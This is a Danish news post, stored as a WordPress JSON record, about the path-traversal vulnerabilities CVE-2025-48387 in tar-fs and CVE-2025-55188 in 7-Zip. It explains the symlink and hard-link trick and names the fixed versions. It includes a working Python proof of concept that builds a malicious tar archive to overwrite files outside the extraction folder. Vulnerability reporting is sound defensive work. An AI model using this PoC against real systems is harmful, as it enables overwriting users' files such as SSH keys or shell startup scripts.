{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/da\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"S\u00e5rbarheder i tar-fs og 7-Zip, der muligg\u00f8r skrivefiler uden for basisbiblioteket","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
I NPM-pakken tar-fs er der opdaget en s\u00e5rbarhed (CVE-2025-48387), der muligg\u00f8r, at filer kan skrives til vilk\u00e5rlige steder i filsystemet under udpakningen af et specielt konstrueret tar-arkiv, uden at v\u00e6re begr\u00e6nset til den mappe, hvor udpakningen finder sted (i henhold til de tilladelser, som den aktuelle bruger har). S\u00e5rbarheden kan ogs\u00e5 anvendes til at overskrive eksisterende filer; for eksempel kan filer som «.ssh\/id_rsa» eller «.bashrc» i brugerens hjemmemappe blive overskrevet for at udf\u00f8re ondsindet kode i systemet. <\/p>\n
Problemet er blevet tildelt et kritisk fare-niveau, is\u00e6r da pakken tar-fs har 23 millioner downloads om ugen og anvendes som afh\u00e6ngighed i 1155 projekter. S\u00e5rbarheden er blevet rettet i versionerne 3.0.9, 2.1.3 og 1.16.5, som blev frigivet i maj, men informationen om s\u00e5rbarheden blev f\u00f8rst offentliggjort n\u00e6sten tre m\u00e5neder senere. <\/p>\n
S\u00e5rbarheden skyldes utilstr\u00e6kkelige kontroller af de symboliske og h\u00e5rde links i arkivet for at sikre, at de ikke overskrider det m\u00e5lretningskatalog, der er valgt for udpakning. To symboliske links anvendes til at omg\u00e5 kontrollerne: det f\u00f8rste peger p\u00e5 rodmappen for arkivudpakningen («.»), og det andet oprettes relativt til det f\u00f8rste symboliske link og bruger tegnene «..» i navnet for at g\u00e5 ud over basisbiblioteket. For eksempel peger det f\u00f8rste link «noop\/noop\/noop» p\u00e5 «.», mens det andet «noop\/noop\/noop\/....\/....\/..» udfolder sig som «. \/.. \/.. \/..». For at organisere overskrivningen af filer i arkivet kan der oprettes et h\u00e5rdt link, der henviser til en ekstern fil i forhold til det andet symboliske link. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop\/» * 15) + («.. \/» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root\/home\/username\/flag\/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root\/home\/username\/flag\/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n
En lignende s\u00e5rbarhed (CVE-2025-55188) er opdaget i arkiveringsv\u00e6rkt\u00f8jet 7-Zip. For at skrive filer uden for basisbiblioteket kan 7-Zip ogs\u00e5 anvende symboliske links med sekvenser af «.. \/» i filstien. Problemet kan udnyttes under udpakning ved hj\u00e6lp af 7-Zip med vilk\u00e5rlige arkiver, der underst\u00f8tter symboliske links, s\u00e5som zip, tar, 7z og rar. Problemet er l\u00f8st i version 7-Zip 25.01. \n Kilde: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"